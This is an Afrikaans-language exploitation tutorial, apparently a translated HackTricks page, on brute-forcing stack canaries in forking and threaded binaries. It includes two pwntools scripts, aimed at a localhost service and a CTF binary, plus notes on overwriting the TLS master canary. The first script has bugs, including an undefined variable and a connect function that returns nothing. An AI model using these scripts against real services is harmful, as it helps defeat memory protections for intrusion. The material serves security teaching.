BF Forked & Threaded Stack Canaries

Leer & oefen AWS Hack:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hack: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

As jy te make het met 'n binêre beskerm deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om hulle te omseil.

Let daarop dat checksec dalk nie vind dat 'n binêre beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie. Jy kan egter handmatig hierdie opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stapel gestoor word en hierdie waarde voor die uittrede nagegaan word.

Brute force Canary

Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat kindprosesse vur elke nuwe verbinding wat jy daarmee vestig (netwerkdienste), omdat elke keer as jy daarmee verbind die dieselfde kanarie gebruik sal word.

Dan is die beste manier om die kanarie te omseil net om dit karakter vir karakter te kragtig, en jy kan uitvind of die gerate kanariebyte korrek was deur te kyk of die program afgesny het of sy gewone vloei voortset. In hierdie voorbeeld kragtig 'n 8 Bytes kanarie (x64) en onderskei tussen 'n korrek gerate byte en 'n slegte byte deur net te kyk of 'n reaksie deur die bediener teruggestuur word (op 'n ander manier in ander situasie kan wees om 'n try/uitsondering te gebruik):

Voorbeeld 1

Hierdie voorbeeld is geïmplementeer vir 64-bits maar kan maklik geïmplementeer word vir 32-bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Voorbeeld 2

Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits. Merk ook op dat vir hierdie voorbeeld die program verwag eers 'n byte om die grootte van die inset en die lading aan te dui.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Drade

Drade van dieselfde proses sal ook die selfde kanarie-token deel, daarom sal dit moontlik wees om 'n kanarie te brute-force as die binêre lêer 'n nuwe draad skep elke keer as 'n aanval plaasvind.

Verder kan 'n buffer overflow in 'n gedraaide funksie wat beskerm word met 'n kanarie, gebruik word om die hoofkanarie wat in die TLS gestoor word, te wysig. Dit is omdat dit moontlik kan wees om die geheueposisie waar die TLS gestoor word (en dus die kanarie) te bereik via 'n bof in die stok van 'n draad. As gevolg hiervan is die versagting nutteloos omdat die kontrole gebruik word met twee kanaries wat dieselfde is (hoewel gewysig). Hierdie aanval word uitgevoer in die skryfstuk: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Kyk ook na die aanbieding van https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 wat noem dat gewoonlik die TLS gestoor word deur mmap en wanneer 'n stok van 'n draad geskep word, word dit ook gegenereer deur mmap volgens hierdie, wat die oorloop mag toelaat soos in die vorige skryfstuk getoon.

Ander voorbeelde & verwysings

Last updated